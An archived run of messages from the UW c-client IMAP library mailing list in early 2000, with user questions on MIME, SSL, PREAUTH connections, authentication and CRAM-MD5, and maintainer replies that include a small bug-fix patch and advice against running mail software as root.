[140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA28880; Fri, 28 Jan 2000 14:41:49 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA01765; Fri, 28 Jan 2000 14:39:59 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA45866 for ; Fri, 28 Jan 2000 14:37:02 -0800 Received: from mc-qout4.whowhere.com (mc-qout4.whowhere.com [209.185.123.18]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA22329 for ; Fri, 28 Jan 2000 14:37:01 -0800 Received: from Unknown/Local ([?.?.?.?]) by my-deja.com; Fri Jan 28 14:36:38 2000 Message-Id: Date: Fri, 28 Jan 2000 14:36:38 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: " " To: c-client@u.washington.edu Subject: Using c-client for mail processing Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Language: en Content-Transfer-Encoding: 7bit X-Sent-Mail: off X-Sender-Ip: 216.112.133.235 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear List Members, I have just learned about the c-client library and I downloaded it. I am planning to use it for building incoming and outgoing mail handler. I need an example on encoding and decoding MIME attachments in e-mail messages. Thank you very much for your support. I really don't have too much time to implement this. Thank you very much, ZZ --== Sent via Deja.com http://www.deja.com/ ==-- Share what you know. Learn what you don't. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 4 11:37:20 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 4 Feb 2000 11:37:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA12042 for ; Fri, 4 Feb 2000 11:37:18 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA06440; Fri, 4 Feb 2000 11:37:16 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA12819; Fri, 4 Feb 2000 11:35:35 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA56566 for ; Fri, 4 Feb 2000 11:33:21 -0800 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA16786 for ; Fri, 4 Feb 2000 11:33:19 -0800 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id TAA01174 for ; Fri, 4 Feb 2000 19:33:16 GMT Message-Id: <200002041933.TAA01174@phy.hw.ac.uk> Date: Fri, 4 Feb 2000 19:33:15 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: c-client and SSL now possible to release? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 4 Feb 2000 11:56:59 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA06911 for ; Fri, 4 Feb 2000 11:56:58 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA06971; Fri, 4 Feb 2000 11:56:56 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA04836; Fri, 4 Feb 2000 11:55:08 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA44282 for ; Fri, 4 Feb 2000 11:54:10 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA21901 for ; Fri, 4 Feb 2000 11:54:09 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA18464; Fri, 4 Feb 2000 11:54:09 -0800 Received: from D-140-142-110-185.dhcp2.washington.edu (D-140-142-110-185.dhcp2.washington.edu [140.142.110.185]) by mailhost1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id LAA32304; Fri, 4 Feb 2000 11:54:09 -0800 Message-Id: Date: Fri, 4 Feb 2000 11:54:31 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Terry Gray To: Karsten Ballueder Cc: c-client Subject: Re: c-client and SSL now possible to release? In-Reply-To: <200002041933.TAA01174@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We are definitely looking at this, and are hopeful, but don't have an answer for you yet. Stay tuned! -teg On Fri, 4 Feb 2000, Karsten Ballueder wrote: > If I understand the recent changes in US legislation, you > are now allowed to distribute your SSL patches and > c-client/imap source together. > > Do you have any plans for this? > -- > Karsten Ballüder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.ac.uk > Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland > Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 > "In a world without fences, who needs Gates?" > > > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Mon Feb 7 20:29:55 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Feb 2000 20:29:55 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id UAA12261 for ; Mon, 7 Feb 2000 20:29:54 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id UAA29282; Mon, 7 Feb 2000 20:29:52 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id UAA13404; Mon, 7 Feb 2000 20:28:17 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id UAA28572 for ; Mon, 7 Feb 2000 20:26:25 -0800 Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id UAA03461 for ; Mon, 7 Feb 2000 20:26:24 -0800 Received: from mindspring.com (user-33qt3rs.dialup.mindspring.com [199.174.143.124]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id XAA25202 for ; Mon, 7 Feb 2000 23:26:23 -0500 (EST) Message-Id: <389F9AEE.57BAD6AA@mindspring.com> Date: Mon, 07 Feb 2000 22:26:22 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John-Paul Robinson To: c-client@u.washington.edu Subject: Q: reusing PREAUTH connections MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: itsjpr@mindspring.com X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, We've noticed a peculiarity with the reuse of the mail stream for PREAUTH'd connections. It appears the connections are not getting reused for PREAUTH'd sessions. If an IMAP connection is PREAUTH'd then the code in imap_open() can cause the rewrite of the stream->mailbox to omit the closing "}" on the network mailbox name. The problem seems to occur because imap_open() assumes either LOCAL->user or usr[] will have been set by the time of the rewrite of the mailbox name. The reconnection is triggered because the second mail_valid_net_parse() in mail_usable_network_stream() fails due to the invalid stream->mailbox name set in the original imap_open(). To reproduce the problem, configure inetd to run imapd at some port (8143) on localhost and start inetd as a normal user so connections are PREAUTH'd. Run ./imapd so it starts up PREAUTH'd. If you enter '1 select "{localhost:8143/debug}"' you will get the connection to inbox. If you then enter '2 select "{localhost:8143/debug}inbox"' the first connection will close and a new one will be established. Is this the expected behavior? Is an application using c-client required to do some sort of initialization which prevents the missing "user" string? Thanks, John-Paul Robinson itsjpr@mindspring.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Feb 7 21:44:17 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Feb 2000 21:44:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA04832 for ; Mon, 7 Feb 2000 21:44:16 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id VAA24144; Mon, 7 Feb 2000 21:44:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id VAA14826; Mon, 7 Feb 2000 21:38:16 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id VAA50986 for ; Mon, 7 Feb 2000 21:37:26 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id VAA21146 for ; Mon, 7 Feb 2000 21:37:25 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id VAA27657; Mon, 7 Feb 2000 21:37:25 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (att@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id VAA19053; Mon, 7 Feb 2000 21:37:25 -0800 Message-Id: Date: Mon, 7 Feb 2000 21:19:48 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: John-Paul Robinson Cc: c-client@u.washington.edu Subject: re: Q: reusing PREAUTH connections In-Reply-To: <389F9AEE.57BAD6AA@mindspring.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 07 Feb 2000 22:26:22 -0600, John-Paul Robinson wrote: > If an IMAP connection is PREAUTH'd then the code in imap_open() can > cause the rewrite of the stream->mailbox to omit the closing "}" on the > network mailbox name. > Is this the expected behavior? Is an application using c-client > required to do some sort of initialization which prevents the missing > "user" string? What is expected is that either you use ordinary TCP, and go through the IMAP driver's authentication, or use a non-TCP mechanism akin to tcp_aopen() that will set up the user string. Having an ordinary TCP server return that it's preauthentication, without benefit of either IMAP authenticator or tcp_aopen() authentication, is completely unexpected. Why are you doing this? Nevertheless, I agree that the missing "}" is a bug. The following patch will fix it: 674c674 < if (LOCAL->user) sprintf (tmp + strlen (tmp),"/user=\"%s\"}", --- > if (LOCAL->user) sprintf (tmp + strlen (tmp),"/user=\"%s\"", 686c686,687 < strcat (tmp,mb.mailbox);/* mailbox name */ --- > /* mailbox name */ > sprintf (tmp + strlen (tmp),"}%s",mb.mailbox); 706c707 < strcat (tmp,""); --- > strcat (tmp,"}"); From pinedev@shivax2.cac.washington.edu Mon Feb 7 22:47:53 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Feb 2000 22:47:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA18409 for ; Mon, 7 Feb 2000 22:47:52 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id WAA31458; Mon, 7 Feb 2000 22:47:50 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id WAA16597; Mon, 7 Feb 2000 22:41:52 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id WAA11014 for ; Mon, 7 Feb 2000 22:40:48 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id WAA18067 for ; Mon, 7 Feb 2000 22:40:48 -0800 Received: from mc-qout4.whowhere.com (mc-qout4.whowhere.com [209.185.123.18]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id WAA31330 for ; Mon, 7 Feb 2000 22:40:48 -0800 Received: from Unknown/Local ([?.?.?.?]) by my-deja.com; Mon Feb 7 22:39:59 2000 Message-Id: Date: Mon, 07 Feb 2000 22:39:59 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: " " To: c-client@CAC.Washington.EDU Subject: Jasmine database, c-client authentication Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Language: en Content-Transfer-Encoding: 7bit X-Sent-Mail: on X-Sender-Ip: 168.122.14.70 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello everybody, I am trying to use c-client to enable my Jasmine database receive and send e-mail messages using IMAP/POP3/SMTP. I keep everything in the Jasmine database (which happens to be an object database with an C API) I can issue a call to mail_open() which calls mm_login() for authentication. I wish I had an easy way to send the user and password information which are kept in the database to mail_open(). Actually I can specify the username using the following syntax {mailhost/pop3/user="myusername"} but can not send the password. My understanding is that I have two options: 1. From inside mm_login() I make a query to the database using the username. 2. I keep some sort of "global variable" somewhere. However this is tricky to implement inside my methods. Did anyone have a similar situation? Sorry if I asked a stupid question but I am not very faimiliar with c-client. Your help will be really appreciated. Thank you ZZ --== Sent via Deja.com http://www.deja.com/ ==-- Share what you know. Learn what you don't. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 8 16:55:52 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Feb 2000 16:55:51 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA09108 for ; Tue, 8 Feb 2000 16:55:50 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA25322; Tue, 8 Feb 2000 16:55:48 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id QAA29828; Tue, 8 Feb 2000 16:54:25 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA12326 for ; Tue, 8 Feb 2000 16:52:15 -0800 Received: from fb02.eng00.mindspring.net (fb02.eng00.mindspring.net [207.69.229.20]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id QAA07124 for ; Tue, 8 Feb 2000 16:52:14 -0800 Received: from mindspring.com (user-33qt2bg.dialup.mindspring.com [199.174.137.112]) by fb02.eng00.mindspring.net (8.9.3/8.8.5) with ESMTP id TAA17873; Tue, 8 Feb 2000 19:52:07 -0500 (EST) Message-Id: <38A0BA36.E3746281@mindspring.com> Date: Tue, 08 Feb 2000 18:52:06 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John-Paul Robinson To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Q: reusing PREAUTH connections References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: itsjpr@mindspring.com X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We were doing this to help understand the protocol without needing special priviledges to run a server. I looked a little harder at the RSH parameters and found that setting the RSHPATH to the imapd executable will successfully invoke a local imapd process without using inetd or rsh. Is this a better solution? mail_parameters( NIL, SET_RSHPATH, "/usr/sbin/imapd" ); mail_parameters( NIL, SET_RSHCOMMAND, "%s"); mail_parameters( NIL, SET_RSHTIMEOUT, 30 ); Thanks for you help. John-Paul Robinson Mark Crispin wrote: > > On Mon, 07 Feb 2000 22:26:22 -0600, John-Paul Robinson wrote: > > If an IMAP connection is PREAUTH'd then the code in imap_open() can > > cause the rewrite of the stream->mailbox to omit the closing "}" on the > > network mailbox name. > > Is this the expected behavior? Is an application using c-client > > required to do some sort of initialization which prevents the missing > > "user" string? > > What is expected is that either you use ordinary TCP, and go through the IMAP > driver's authentication, or use a non-TCP mechanism akin to tcp_aopen() that > will set up the user string. > > Having an ordinary TCP server return that it's preauthentication, without > benefit of either IMAP authenticator or tcp_aopen() authentication, is > completely unexpected. Why are you doing this? > From pinedev@shivax2.cac.washington.edu Fri Feb 11 04:19:44 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Feb 2000 04:19:43 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA04137 for ; Fri, 11 Feb 2000 04:19:42 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id EAA04574; Fri, 11 Feb 2000 04:19:40 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id EAA07566; Fri, 11 Feb 2000 04:18:34 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id EAA25464 for ; Fri, 11 Feb 2000 04:16:17 -0800 Received: from phy.hw.ac.uk (innpin.phy.hw.ac.uk [137.195.28.2]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id EAA07017 for ; Fri, 11 Feb 2000 04:16:15 -0800 Received: from pc166.phy.hw.ac.uk (karsten@matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id MAA15587 for ; Fri, 11 Feb 2000 12:16:09 GMT Message-Id: <200002111216.MAA15587@phy.hw.ac.uk> Date: Fri, 11 Feb 2000 12:19:56 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: some c-client questions MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Feb 2000 11:09:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA14544 for ; Fri, 11 Feb 2000 11:09:28 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA07771; Fri, 11 Feb 2000 11:09:25 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA03750; Fri, 11 Feb 2000 11:06:52 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA37648 for ; Fri, 11 Feb 2000 11:02:12 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (root@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA27717 for ; Fri, 11 Feb 2000 11:02:10 -0800 Message-Id: Date: Fri, 11 Feb 2000 09:47:29 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: c-client Subject: re: some c-client questions In-Reply-To: <200002111216.MAA15587@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 11 Feb 2000 12:19:56 +0000 (GMT), Karsten Ballueder wrote: > Sorry for this long > mail, but I thought I better bundle my questions rather than > flooding you with lots of individual mails. It's actually better to put separate issues in separate messages. This permits prioritizing responses, and getting a faster response out for easier issues. > 1. It does not allow me to use 8 bit characters in mailbox > names. I don't know if this is an IMAP specification, but > at least for accessing local mailbox files this should be > possible. 8-bit characters in IMAP mailbox names are reserved for future use with UTF-8 (8-bit Unicode). 8-bit is specifically forbidden in mailbox names today, to exterminate current non-standard use of ISO 8859-1, S-JIS, etc. names. > Is there any way around it? IMAP permits Unicode names today, using a mechanism called "modified UTF-7" which is a 7-bit encoding. Refer to section 5.1.3 of RFC 2060. If you have 8-bit names on your local filesystem in some non-Unicode character set, there's no way for the IMAP server to know whether this set of octets is ISO 8859-1, KOI-8, S-JIS, GB2312, BIG5, etc. All the world is not ISO 8859-1. Since IMAP mailbox names are Unicode, any 8-bit names have to be converted to Unicode; but without knowing the character set it's a bit difficult. > 2. I have had several requests from Mahogany users > (http://mahogany.home.dhs.org/) whether I couldn't make > it run as root. So far that's not possible as c-client will > not work with uid 0. That's right. You may be able to get a local-only program to half-work when running as root (Pine does so), but there's no chance with the daemons. > Could you give me any hints on how difficult it would be > for me to change this? I'm not going to support it, *ESPECIALLY* not in imapd. It is a very bad idea. The problem with kludging it as you propose is that it opens up HUGE security holes. The best answer is "only cretins run non-essential programs as root. Don't do it." > 3. c-client refuses to read one of my mailbox files on which > the program crashed earlier, complaining about inconsistent > header sizes. Have you tried reading the file in emacs (not vi)? c-client should have told you where the problem was located; it should be easy to go to that position in emacs, figure out what's wrong, and fix it. > 4. c-client uses syslog() and abort() in lots of "critical" > situations. Those situations shouldn't ever happen. If they do, it's either a c-client bug or a bug in your program. Rather than sweep the problem under the rug, it's better to fix the bug. Since you didn't say what syslog() you were getting, I can't comment on what the bug may be. > 5. After upgrading from 4.4 to 4.7a of the toolkit we came > across some corrupted message contents. Haven't had that happen. Are you using the correct access means to get data, in particular, all the mail_fetch_body(), etc. calls? You must *NOT* reference the "PARTTEXT" members of the various structures -- those are private to c-client! Their usage is driver-specific!! > Also, 4.7a occasionally produces SIGPIPE interrupts on > POP3 connections, something 4.4 never did. Do you use /etc/mlock? Does your SSL code use pipes? From pinedev@shivax2.cac.washington.edu Fri Feb 11 11:49:27 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Feb 2000 11:49:27 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA02599 for ; Fri, 11 Feb 2000 11:49:26 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA09054; Fri, 11 Feb 2000 11:49:24 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA26633; Fri, 11 Feb 2000 11:42:37 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA47070 for ; Fri, 11 Feb 2000 11:40:24 -0800 Received: from sws5.ctd.ornl.gov (sws5.ctd.ornl.gov [128.219.128.125]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA03106 for ; Fri, 11 Feb 2000 11:40:23 -0800 Received: (qmail 1231645 invoked by uid 3995); 11 Feb 2000 19:40:34 -0000 Message-Id: <14500.26034.18414.346763@sws5.ctd.ornl.gov> Date: Fri, 11 Feb 2000 14:40:33 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dave Sill To: c-client@u.washington.edu Subject: CRAM-MD5 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Face: "p~Q]mg{;e*}YR|)&Q/&Q\*~5UWfZX34;5M A0001 CAPABILITY fetchmail: IMAP< * CAPABILITY IMAP4 IMAP4REV1 NAMESPACE IDLE SCAN SORT MAILBOX-REFERRALS LOGIN-REFERRALS AUTH=CRAM-MD5 AUTH=LOGIN THREAD=ORDEREDSUBJECT fetchmail: IMAP< A0001 OK CAPABILITY completed fetchmail: Protocol identified as IMAP4 rev 1 fetchmail: CRAM-MD5 authentication is supported fetchmail: IMAP> A0002 AUTHENTICATE CRAM-MD5 fetchmail: IMAP< + PDI4MDE5Ljk1MDI4ODY5M0BlbWFpbGRldi5jaW5kLm9ybmwuZ292Pg== fetchmail: decoded as <28019.950288693@emaildev.cind.ornl.gov> fetchmail: replying with de5 3033432ab1f5a38f05645af2e373ce05 fetchmail: IMAP> ZGU1IDMwMzM0MzJhYjFmNWEzOGYwNTY0NWFmMmUzNzNjZTA1 fetchmail: IMAP< A0002 NO AUTHENTICATE CRAM-MD5 failed fetchmail: IMAP> * fetchmail: Authorization failure on de5@emaildev fetchmail: IMAP> A0003 LOGOUT fetchmail: IMAP< * BAD Missing command fetchmail: IMAP< * BYE emaildev.cind.ornl.gov IMAP4rev1 server terminating connection fetchmail: IMAP< A0003 OK LOGOUT completed fetchmail: authorization error while fetching from emaildev fetchmail: Query status=3 